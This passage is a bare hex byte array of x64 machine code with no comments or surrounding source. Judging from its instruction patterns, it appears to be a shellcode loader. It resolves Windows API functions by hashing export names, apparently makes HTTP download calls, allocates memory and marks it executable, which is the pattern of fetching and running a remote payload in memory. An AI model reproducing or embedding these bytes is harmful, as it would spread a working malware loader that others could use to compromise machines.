0x0a, 0x49, 0x89, 0x08, 0xf0, 0xff, 0x41, 0x08, 0x33, 0xc0, 0xc3, 0x49,
0x83, 0x20, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0xc3, 0xcc, 0xcc, 0xcc,
0x83, 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x41, 0x08, 0xff, 0xc8, 0xc3, 0xcc,
0x33, 0xc0, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c,
0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20,
0x49, 0x8b, 0xf9, 0x41, 0x8b, 0xe8, 0x48, 0x8b, 0xf1, 0x41, 0xf6, 0xc0,
0x02, 0x74, 0x1b, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x85, 0xdb, 0x74,
0x1c, 0x48, 0x8b, 0x49, 0x38, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x08, 0x48,
0x8b, 0x46, 0x38, 0x48, 0x89, 0x03, 0x40, 0xf6, 0xc5, 0x01, 0x74, 0x1c,
0x48, 0x85, 0xff, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x12,
0x48, 0x8d, 0x5e, 0x28, 0x48, 0x8b, 0x03, 0x48, 0x8b, 0xcb, 0xff, 0x50,
0x08, 0x48, 0x89, 0x1f, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48,
0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4,
0x20, 0x5f, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b,
0x41, 0x58, 0x48, 0x8b, 0xda, 0xff, 0x50, 0x78, 0x89, 0x03, 0x33, 0xc0,
0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x53,
0x48, 0x83, 0xec, 0x60, 0x83, 0x60, 0x20, 0x00, 0x48, 0x8d, 0x48, 0xb8,
0x83, 0x60, 0x18, 0x00, 0x48, 0x8b, 0xda, 0x83, 0x60, 0x10, 0x00, 0x33,
0xd2, 0x44, 0x8d, 0x42, 0x40, 0xe8, 0xba, 0x26, 0x00, 0x00, 0x48, 0x8b,
0x03, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xff, 0x50, 0x18,
0x85, 0xc0, 0x75, 0x1e, 0x48, 0x8b, 0x03, 0x4c, 0x8d, 0x4c, 0x24, 0x78,
0x4c, 0x8d, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48,
0x8d, 0x94, 0x24, 0x88, 0x00, 0x00, 0x00, 0xff, 0x50, 0x20, 0x33, 0xc0,
0x48, 0x83, 0xc4, 0x60, 0x5b, 0xc3, 0xcc, 0xcc, 0x4d, 0x8b, 0xc8, 0x4d,
0x85, 0xc0, 0x75, 0x06, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xc3, 0x4c, 0x8b,
0x41, 0x58, 0x49, 0x8b, 0x80, 0xf4, 0x05, 0x00, 0x00, 0x48, 0x3b, 0x02,
0x75, 0x0d, 0x49, 0x8b, 0x80, 0xfc, 0x05, 0x00, 0x00, 0x48, 0x3b, 0x42,
0x08, 0x74, 0x19, 0x49, 0x8b, 0x80, 0xa4, 0x06, 0x00, 0x00, 0x48, 0x3b,
0x02, 0x75, 0x16, 0x49, 0x8b, 0x80, 0xac, 0x06, 0x00, 0x00, 0x48, 0x3b,
0x42, 0x08, 0x75, 0x09, 0x49, 0x89, 0x09, 0xf0, 0xff, 0x41, 0x08, 0xeb,
0x24, 0x49, 0x8b, 0x80, 0xb4, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75,
0x1b, 0x49, 0x8b, 0x80, 0xbc, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08,
0x75, 0x0e, 0x48, 0x8d, 0x41, 0x10, 0x49, 0x89, 0x01, 0xf0, 0xff, 0x41,
0x18, 0x33, 0xc0, 0xc3, 0x49, 0x83, 0x21, 0x00, 0xb8, 0x02, 0x40, 0x00,
0x80, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x83, 0x20, 0x00,
0x33, 0xc0, 0xc3, 0xcc, 0x0f, 0xaf, 0xca, 0x8b, 0xc1, 0xc3, 0xcc, 0xcc,
0x48, 0x8b, 0x44, 0x24, 0x28, 0x83, 0x20, 0x00, 0x33, 0xc0, 0xc3, 0xcc,
0x8d, 0x04, 0x11, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x18, 0x55, 0x56, 0x57,
0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48,
0x81, 0xc1, 0x58, 0x03, 0x00, 0x00, 0xff, 0x53, 0x30, 0x48, 0x8b, 0xf0,
0x48, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xe9, 0xd7,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x93, 0xc0, 0x05, 0x00, 0x00, 0x48, 0x8b,
0xce, 0xff, 0x53, 0x38, 0x48, 0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x0f, 0x84,
0xbc, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x3d, 0x99, 0xff, 0xff, 0xff, 0x4c,
0x8d, 0x3d, 0x86, 0xff, 0xff, 0xff, 0x41, 0x2b, 0xff, 0x0f, 0x88, 0xa5,
0x00, 0x00, 0x00, 0x4c, 0x8d, 0x4c, 0x24, 0x50, 0x8b, 0xd7, 0x41, 0xb8,
0x40, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xf7, 0x48, 0x8b, 0xc8, 0xff, 0x53,
0x60, 0x85, 0xc0, 0x0f, 0x84, 0x87, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xc7,
0x49, 0x8b, 0xd7, 0x48, 0x8b, 0xcd, 0xe8, 0x31, 0x25, 0x00, 0x00, 0x44,
0x8b, 0x44, 0x24, 0x50, 0x4c, 0x8d, 0x4c, 0x24, 0x58, 0x41, 0x8b, 0xd6,
0x48, 0x8b, 0xcd, 0xff, 0x53, 0x60, 0x48, 0x8d, 0x93, 0xd0, 0x05, 0x00,
0x00, 0x48, 0x8b, 0xce, 0xff, 0x53, 0x38, 0x48, 0x8b, 0xf0, 0x48, 0x85,
0xc0, 0x74, 0x51, 0x48, 0x8d, 0x3d, 0x42, 0xff, 0xff, 0xff, 0x4c, 0x8d,
0x35, 0x2f, 0xff, 0xff, 0xff, 0x41, 0x2b, 0xfe, 0x78, 0x3e, 0x4c, 0x8d,
0x4c, 0x24, 0x50, 0x8b, 0xd7, 0x41, 0xb8, 0x40, 0x00, 0x00, 0x00, 0x8b,
0xef, 0x48, 0x8b, 0xc8, 0xff, 0x53, 0x60, 0x85, 0xc0, 0x74, 0x25, 0x44,
0x8b, 0xc7, 0x49, 0x8b, 0xd6, 0x48, 0x8b, 0xce, 0xe8, 0xcf, 0x24, 0x00,
0x00, 0x44, 0x8b, 0x44, 0x24, 0x50, 0x4c, 0x8d, 0x4c, 0x24, 0x58, 0x8b,
0xd5, 0x48, 0x8b, 0xce, 0xff, 0x53, 0x60, 0xe9, 0x21, 0xff, 0xff, 0xff,
0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x83, 0xc4, 0x20, 0x41,
0x5f, 0x41, 0x5e, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24,
0x18, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x20,
0x48, 0x8b, 0xd9, 0x48, 0x81, 0xc1, 0x64, 0x03, 0x00, 0x00, 0xff, 0x53,
0x30, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x01, 0x00,
0x00, 0x00, 0xe9, 0xd7, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x93, 0x70, 0x05,
0x00, 0x00, 0x48, 0x8b, 0xce, 0xff, 0x53, 0x38, 0x48, 0x8b, 0xe8, 0x48,
0x85, 0xc0, 0x0f, 0x84, 0xbc, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x3d, 0xc9,
0x1e, 0x00, 0x00, 0x4c, 0x8d, 0x3d, 0xf6, 0xfc, 0xff, 0xff, 0x41, 0x2b,
0xff, 0x0f, 0x88, 0xa5, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x4c, 0x24, 0x50,
0x8b, 0xd7, 0x41, 0xb8, 0x40, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xf7, 0x48,
0x8b, 0xc8, 0xff, 0x53, 0x60, 0x85, 0xc0, 0x0f, 0x84, 0x87, 0x00, 0x00,
0x00, 0x44, 0x8b, 0xc7, 0x49, 0x8b, 0xd7, 0x48, 0x8b, 0xcd, 0xe8, 0x19,
0x24, 0x00, 0x00, 0x44, 0x8b, 0x44, 0x24, 0x50, 0x4c, 0x8d, 0x4c, 0x24,
0x58, 0x41, 0x8b, 0xd6, 0x48, 0x8b, 0xcd, 0xff, 0x53, 0x60, 0x48, 0x8d,
0x93, 0x90, 0x05, 0x00, 0x00, 0x48, 0x8b, 0xce, 0xff, 0x53, 0x38, 0x48,
0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x51, 0x48, 0x8d, 0x3d, 0x56, 0x1e,
0x00, 0x00, 0x4c, 0x8d, 0x35, 0x43, 0x1e, 0x00, 0x00, 0x41, 0x2b, 0xfe,
0x78, 0x3e, 0x4c, 0x8d, 0x4c, 0x24, 0x50, 0x8b, 0xd7, 0x41, 0xb8, 0x40,
0x00, 0x00, 0x00, 0x8b, 0xef, 0x48, 0x8b, 0xc8, 0xff, 0x53, 0x60, 0x85,
0xc0, 0x74, 0x25, 0x44, 0x8b, 0xc7, 0x49, 0x8b, 0xd6, 0x48, 0x8b, 0xce,
0xe8, 0xb7, 0x23, 0x00, 0x00, 0x44, 0x8b, 0x44, 0x24, 0x50, 0x4c, 0x8d,
0x4c, 0x24, 0x58, 0x8b, 0xd5, 0x48, 0x8b, 0xce, 0xff, 0x53, 0x60, 0xe9,
0x21, 0xff, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48,
0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc,
0x40, 0x55, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41,
0x57, 0x48, 0x8d, 0xac, 0x24, 0x48, 0xfe, 0xff, 0xff, 0x48, 0x81, 0xec,
0xb8, 0x02, 0x00, 0x00, 0x83, 0xa5, 0x08, 0x02, 0x00, 0x00, 0x00, 0x48,
0x8b, 0xf9, 0x45, 0x33, 0xf6, 0x48, 0x8d, 0x4c, 0x24, 0x40, 0x33, 0xd2,
0xbe, 0x00, 0x02, 0x60, 0x84, 0x41, 0x8d, 0x5e, 0x68, 0x44, 0x8b, 0xc3,
0xe8, 0x6b, 0x23, 0x00, 0x00, 0x48, 0x8d, 0x45, 0xb0, 0x89, 0x5c, 0x24,
0x40, 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8d, 0x8f, 0xe8, 0x06, 0x00,
0x00, 0x48, 0x8d, 0x85, 0xb0, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x89,
0x45, 0x88, 0x4c, 0x8d, 0x4c, 0x24, 0x40, 0xb8, 0x00, 0x01, 0x00, 0x00,
0x41, 0xb8, 0x00, 0x00, 0x00, 0x10, 0x89, 0x44, 0x24, 0x60, 0x89, 0x45,
0x90, 0xff, 0x97, 0x00, 0x01, 0x00, 0x00, 0x33, 0xdb, 0x85, 0xc0, 0x0f,
0x84, 0x16, 0x02, 0x00, 0x00, 0x83, 0x7c, 0x24, 0x54, 0x04, 0xb8, 0x00,
0x32, 0xe0, 0x84, 0x44, 0x8b, 0xe3, 0x89, 0x5c, 0x24, 0x20, 0x41, 0x0f,
0x94, 0xc4, 0x0f, 0x44, 0xf0, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x33,
0xd2, 0x33, 0xc9, 0xff, 0x97, 0x08, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe8,
0x48, 0x85, 0xc0, 0x0f, 0x84, 0xe2, 0x01, 0x00, 0x00, 0x44, 0x0f, 0xb7,
0x44, 0x24, 0x64, 0x48, 0x8d, 0x55, 0xb0, 0x48, 0x89, 0x5c, 0x24, 0x38,
0x45, 0x33, 0xc9, 0x89, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0xc8, 0xc7, 0x44,
0x24, 0x28, 0x03, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x20, 0xff,
0x97, 0x10, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x0f,
0x84, 0x51, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x48, 0x8d,
0x97, 0xe8, 0x07, 0x00, 0x00, 0x89, 0x74, 0x24, 0x30, 0x4c, 0x8d, 0x85,
0xb0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x28, 0x45, 0x33, 0xc9,
0x48, 0x8b, 0xc8, 0x48, 0x89, 0x5c, 0x24, 0x20, 0xff, 0x97, 0x30, 0x01,
0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x0f, 0x01,
0x00, 0x00, 0x45, 0x85, 0xe4, 0x74, 0x28, 0x0f, 0xba, 0xe6, 0x0c, 0x73,
0x22, 0x45, 0x8d, 0x4e, 0x04, 0xc7, 0x85, 0x10, 0x02, 0x00, 0x00, 0x80,
0x33, 0x00, 0x00, 0x4c, 0x8d, 0x85, 0x10, 0x02, 0x00, 0x00, 0x48, 0x8b,
0xc8, 0x41, 0x8d, 0x56, 0x1f, 0xff, 0x97, 0x18, 0x01, 0x00, 0x00, 0x45,
0x33, 0xe4, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x44, 0x89, 0x64, 0x24,
0x20, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xff, 0x97, 0x38, 0x01, 0x00, 0x00,
0x85, 0xc0, 0x0f, 0x84, 0xb8, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x8d, 0x00,
0x02, 0x00, 0x00, 0xc7, 0x85, 0x00, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00,
0x00, 0x4c, 0x8d, 0x85, 0x08, 0x02, 0x00, 0x00, 0x4c, 0x89, 0x64, 0x24,
0x20, 0xba, 0x13, 0x00, 0x00, 0x20, 0x48, 0x8b, 0xcb, 0xff, 0x97, 0x40,
0x01, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x85, 0x00, 0x00, 0x00, 0x81,
0xbd, 0x08, 0x02, 0x00, 0x00, 0xc8, 0x00, 0x00, 0x00, 0x75, 0x79, 0x48,
0x8d, 0xb7, 0x18, 0x09, 0x00, 0x00, 0xc7, 0x85, 0x00, 0x02, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xc6, 0x4c, 0x89, 0x26, 0x4c, 0x8d,
0x8d, 0x00, 0x02, 0x00, 0x00, 0x4c, 0x89, 0x64, 0x24, 0x20, 0xba, 0x05,
0x00, 0x00, 0x20, 0x48, 0x8b, 0xcb, 0xff, 0x97, 0x40, 0x01, 0x00, 0x00,
0x85, 0xc0, 0x74, 0x44, 0x48, 0x8b, 0x16, 0x48, 0x85, 0xd2, 0x74, 0x3c,
0x33, 0xc9, 0x45, 0x8d, 0x4c, 0x24, 0x04, 0x41, 0xb8, 0x00, 0x30, 0x00,
0x00, 0xff, 0x57, 0x48, 0x48, 0x89, 0x87, 0x20, 0x09, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x20, 0x44, 0x8b, 0x06, 0x4c, 0x8d, 0x8d, 0x18, 0x02,
0x00, 0x00, 0x48, 0x8b, 0xd0, 0x44, 0x89, 0xa5, 0x18, 0x02, 0x00, 0x00,
0x48, 0x8b, 0xcb, 0xff, 0x97, 0x20, 0x01, 0x00, 0x00, 0x44, 0x8b, 0xf0,
0x48, 0x8b, 0xcb, 0xff, 0x97, 0x28, 0x01, 0x00, 0x00, 0x49, 0x8b, 0xcf,
0xff, 0x97, 0x28, 0x01, 0x00, 0x00, 0x49, 0x8b, 0xcd, 0xff, 0x97, 0x28,
0x01, 0x00, 0x00, 0x45, 0x85, 0xf6, 0x74, 0x46, 0x83, 0xbf, 0x34, 0x02,
0x00, 0x00, 0x03, 0x75, 0x3d, 0x48, 0x8b, 0x9f, 0x20, 0x09, 0x00, 0x00,
0x48, 0x8d, 0x97, 0x08, 0x09, 0x00, 0x00, 0x44, 0x8b, 0x8f, 0x18, 0x09,
0x00, 0x00, 0x48, 0x8d, 0x8f, 0xf8, 0x08, 0x00, 0x00, 0x4c, 0x8b, 0xc3,
0xe8, 0x3f, 0x1d, 0x00, 0x00, 0x48, 0x8b, 0x57, 0x28, 0x48, 0x8d, 0x8f,
0xf0, 0x07, 0x00, 0x00, 0xe8, 0xef, 0x1b, 0x00, 0x00, 0x48, 0x3b, 0x83,
0x18, 0x05, 0x00, 0x00, 0x75, 0x05, 0x41, 0x8b, 0xc6, 0xeb, 0x02, 0x33,
0xc0, 0x48, 0x81, 0xc4, 0xb8, 0x02, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e,
0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc,
0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x44, 0x24, 0x18, 0x55, 0x56,
0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xac,
0x24, 0xf0, 0xfe, 0xff, 0xff, 0x48, 0x81, 0xec, 0x10, 0x02, 0x00, 0x00,
0x4c, 0x63, 0x72, 0x3c, 0x4d, 0x8b, 0xe9, 0x48, 0x8b, 0xda, 0x4c, 0x8b,
0xe1, 0x41, 0x8b, 0x84, 0x16, 0x88, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f,
0x84, 0x95, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x3c, 0x02, 0x8b, 0x77, 0x18,
0x85, 0xf6, 0x0f, 0x84, 0x86, 0x00, 0x00, 0x00, 0x8b, 0x47, 0x1c, 0x33,
0xc9, 0x44, 0x8b, 0x47, 0x0c, 0x48, 0x03, 0xc2, 0x48, 0x89, 0x44, 0x24,
0x30, 0x4c, 0x03, 0xc2, 0x8b, 0x47, 0x20, 0x48, 0x03, 0xc2, 0x48, 0x89,
0x85, 0x58, 0x01, 0x00, 0x00, 0x8b, 0x47, 0x24, 0x48, 0x03, 0xc2, 0x48,
0x89, 0x44, 0x24, 0x28, 0x41, 0x8a, 0x00, 0x84, 0xc0, 0x74, 0x14, 0x33,
0xd2, 0xff, 0xc1, 0x0c, 0x20, 0x88, 0x44, 0x15, 0x00, 0x8b, 0xd1, 0x42,
0x8a, 0x04, 0x01, 0x84, 0xc0, 0x75, 0xee, 0xc6, 0x44, 0x0d, 0x00, 0x00,
0x49, 0x8b, 0xd5, 0x48, 0x8d, 0x4d, 0x00, 0xe8, 0x20, 0x1b, 0x00, 0x00,
0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8b, 0x85, 0x58, 0x01, 0x00, 0x00,
0xff, 0xce, 0x49, 0x8b, 0xd5, 0x8b, 0x0c, 0xb0, 0x48, 0x03, 0xcb, 0xe8,
0x04, 0x1b, 0x00, 0x00, 0x48, 0x33, 0x44, 0x24, 0x20, 0x48, 0x3b, 0x85,
0x60, 0x01, 0x00, 0x00, 0x74, 0x21, 0x85, 0xf6, 0x75, 0xd7, 0x33, 0xc0,
0x48, 0x8b, 0x9c, 0x24, 0x50, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x10,
0x02, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f,
0x5e, 0x5d, 0xc3, 0x48, 0x8b, 0x44, 0x24, 0x28, 0x48, 0x8b, 0x4c, 0x24,
0x30, 0x0f, 0xb7, 0x04, 0x70, 0x44, 0x8b, 0x04, 0x81, 0x4c, 0x03, 0xc3,
0x4c, 0x3b, 0xc7, 0x0f, 0x82, 0xaf, 0x00, 0x00, 0x00, 0x41, 0x8b, 0x84,
0x1e, 0x8c, 0x00, 0x00, 0x00, 0x48, 0x03, 0xc7, 0x4c, 0x3b, 0xc0, 0x0f,
0x83, 0x9b, 0x00, 0x00, 0x00, 0x33, 0xdb, 0x44, 0x8b, 0xcb, 0x41, 0x38,
0x18, 0x74, 0x21, 0x41, 0x83, 0xf9, 0x3c, 0x73, 0x1b, 0x41, 0x8b, 0xc9,
0x42, 0x8a, 0x04, 0x01, 0x88, 0x44, 0x0c, 0x40, 0x42, 0x80, 0x3c, 0x01,
0x2e, 0x74, 0x09, 0x41, 0xff, 0xc1, 0x43, 0x38, 0x1c, 0x01, 0x75, 0xdf,
0x41, 0x8d, 0x41, 0x01, 0x8b, 0xd0, 0xc6, 0x44, 0x04, 0x40, 0x64, 0x41,
0x8d, 0x41, 0x02, 0xc6, 0x44, 0x04, 0x40, 0x6c, 0x41, 0x8d, 0x41, 0x03,
0xc6, 0x44, 0x04, 0x40, 0x6c, 0x41, 0x8d, 0x41, 0x04, 0x4e, 0x8d, 0x0c,
0x02, 0x88, 0x5c, 0x04, 0x40, 0x8b, 0xd3, 0x41, 0x38, 0x19, 0x74, 0x17,
0x83, 0xfa, 0x7f, 0x73, 0x12, 0x8b, 0xca, 0xff, 0xc2, 0x42, 0x8a, 0x04,
0x09, 0x88, 0x44, 0x0d, 0x80, 0x42, 0x38, 0x1c, 0x0a, 0x75, 0xe9, 0x8b,
0xc2, 0x48, 0x8d, 0x4c, 0x24, 0x40, 0x88, 0x5c, 0x05, 0x80, 0x41, 0xff,
0x54, 0x24, 0x30, 0x48, 0x85, 0xc0, 0x74, 0x11, 0x48, 0x8d, 0x55, 0x80,
0x48, 0x8b, 0xc8, 0x41, 0xff, 0x54, 0x24, 0x38, 0x4c, 0x8b, 0xc0, 0xeb,
0x03, 0x4c, 0x8b, 0xc3, 0x49, 0x8b, 0xc0, 0xe9, 0x10, 0xff, 0xff, 0xff,
0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x4a, 0x30, 0x48, 0x8b,
0xda, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10,
0x48, 0x83, 0x63, 0x30, 0x00, 0x48, 0x8b, 0x4b, 0x38, 0x48, 0x85, 0xc9,
0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x38,
0x00, 0x48, 0x8b, 0x4b, 0x28, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b,
0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x8b, 0x4b,
0x20, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10,
0x48, 0x83, 0x63, 0x20, 0x00, 0x48, 0x8b, 0x4b, 0x18, 0x48, 0x85, 0xc9,
0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x18,
0x00, 0x48, 0x8b, 0x4b, 0x10, 0x48, 0x85, 0xc9, 0x74, 0x15, 0x48, 0x8b,
0x01, 0xff, 0x50, 0x58, 0x48, 0x8b, 0x4b, 0x10, 0x48, 0x8b, 0x01, 0xff,
0x50, 0x10, 0x48, 0x83, 0x63, 0x10, 0x00, 0x48, 0x8b, 0x4b, 0x08, 0x48,
0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83,
0x63, 0x08, 0x00, 0x48, 0x8b, 0x0b, 0x48, 0x85, 0xc9, 0x74, 0x0a, 0x48,
0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xc4,
0x20, 0x5b, 0xc3, 0xcc, 0xf0, 0xff, 0x41, 0x20, 0x8b, 0x41, 0x20, 0xc3,
0x48, 0x8b, 0x49, 0x10, 0x45, 0x8b, 0xd1, 0x4c, 0x8b, 0x4c, 0x24, 0x30,
0x49, 0x8b, 0xd0, 0x45, 0x8b, 0xc2, 0x48, 0x8b, 0x01, 0x48, 0xff, 0x60,
0x50, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83,
0xec, 0x20, 0x49, 0x8b, 0xd9, 0x48, 0x8b, 0xf9, 0x4d, 0x85, 0xc9, 0x75,
0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x13, 0x48, 0x8b, 0x49, 0x10,
0x48, 0x8b, 0x01, 0xff, 0x50, 0x08, 0x48, 0x8b, 0x47, 0x10, 0x48, 0x89,
0x03, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20,
0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x85, 0xd2, 0x75, 0x06, 0xb8, 0x03, 0x40,
0x00, 0x80, 0xc3, 0xc7, 0x02, 0x01, 0x00, 0x00, 0x00, 0x33, 0xc0, 0xc3,
0x48, 0x83, 0xec, 0x48, 0x48, 0x8b, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00,
0x4c, 0x8b, 0xd9, 0x48, 0x8b, 0x49, 0x10, 0x44, 0x8b, 0xc2, 0x44, 0x0f,
0xb7, 0x4c, 0x24, 0x70, 0x49, 0x8b, 0xd3, 0x48, 0x89, 0x44, 0x24, 0x38,
0x48, 0x8b, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x11, 0x48,
0x89, 0x44, 0x24, 0x30, 0x48, 0x8b, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00,
0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x78, 0x48, 0x89,
0x44, 0x24, 0x20, 0x41, 0xff, 0x52, 0x58, 0x48, 0x83, 0xc4, 0x48, 0xc3,
0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48,
0x81, 0xec, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x02, 0x48, 0x8b, 0xf9,
0x48, 0x8d, 0x0d, 0x31, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xda, 0x48, 0x89,
0x08, 0x48, 0x8d, 0x0d, 0x0c, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48,
0x89, 0x48, 0x08, 0x48, 0x8d, 0x0d, 0xa6, 0x02, 0x00, 0x00, 0x48, 0x8b,
0x02, 0x48, 0x89, 0x48, 0x10, 0x48, 0x8d, 0x0d, 0x50, 0xff, 0xff, 0xff,
0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x18, 0x48, 0x8d, 0x0d, 0x06, 0xff,
0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x20, 0x48, 0x8d, 0x0d,
0xdc, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x28, 0x48,
0x8d, 0x0d, 0x3a, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48,
0x30, 0x48, 0x8d, 0x0d, 0xb4, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48,
0x89, 0x48, 0x38, 0x48, 0x8d, 0x0d, 0x3a, 0xf5, 0xff, 0xff, 0x48, 0x8b,
0x02, 0x48, 0x89, 0x48, 0x40, 0x48, 0x8d, 0x0d, 0x2c, 0xf5, 0xff, 0xff,
0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x48, 0x48, 0x8d, 0x0d, 0x1e, 0xf5,
0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x50, 0x48, 0x8d, 0x0d,
0x10, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x58, 0x48,
0x8d, 0x0d, 0x02, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48,
0x60, 0x48, 0x8d, 0x0d, 0xec, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x02, 0x48,
0x89, 0x48, 0x68, 0x48, 0x8d, 0x0d, 0xe6, 0xf4, 0xff, 0xff, 0x48, 0x8b,
0x02, 0x48, 0x89, 0x48, 0x70, 0x48, 0x8d, 0x0d, 0xd8, 0xf4, 0xff, 0xff,
0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x78, 0x48, 0x8d, 0x0d, 0xca, 0xf4,
0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0x80, 0x00, 0x00, 0x00,
